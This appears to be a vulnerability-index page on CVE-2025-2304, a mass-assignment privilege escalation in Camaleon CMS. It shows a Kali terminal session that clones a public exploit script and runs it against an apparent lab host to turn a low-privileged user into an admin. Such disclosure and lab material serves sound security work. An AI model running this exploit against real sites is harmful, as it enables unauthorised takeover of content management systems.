Skip to content
HackIndex logo

HackIndex

CVE-2025-2304:
Camaleon CMS (Create Admin User)

Published: Feb 21, 2026
Critical
Mass Assignment

CVE-2025-2304 is a privilege-escalation bug in Camaleon CMS caused by mass assignment in the password-change flow: the updated_ajax UsersController action uses a permissive permit! call, so attacker-supplied fields aren’t properly restricted. An authenticated low-privileged user can abuse this to modify protected account attributes and escalate privileges (e.g., effectively turning themselves into a higher-privilege user/admin), leading to full takeover of the CMS.

Web Camaleon CMS Admin

Below are general examples of techniques, methods, and proof-of-concept approaches used to demonstrate this vulnerability in a controlled environment.

predyy/CVE-2025-2304
Python script to exploit Privilege Escalation in Camaleon CMS.
View repository (opens in new tab)
┌──(kali㉿kali)-[~]
└─$ git clone https://github.com/predyy/CVE-2025-2304
┌──(kali㉿kali)-[~]
└─$ cd CVE-2025-2304
┌──(kali㉿kali)-[~]
└─$ python3 -m venv .venv
┌──(kali㉿kali)-[~]
└─$ source .venv/bin/activate
┌──(kali㉿kali)-[~]
└─$ pip3 install requests bs4
 
┌──(kali㉿kali)-[~]
└─$ python3 exp.py http://facts.htb hackindex hackindex 
[*] Logging in as hackindex ...
[+] Login successful
[+] Got profile page
[i] Version detected: 2.9.0 (< 2.9.1) - appears to be vulnerable version
[+] authenticity_token: hl5NCx3zaGccGsrK1wcad6m8WCNPMF4L3tec-CSWYJhChP6Gffrguk-RbsLfrCewWZCpGCfidkhmatpJzBBt6w
http://facts.htb/admin/users/5/updated_ajax
[*] Submitting password change request
[+] Submit successful, you should be admin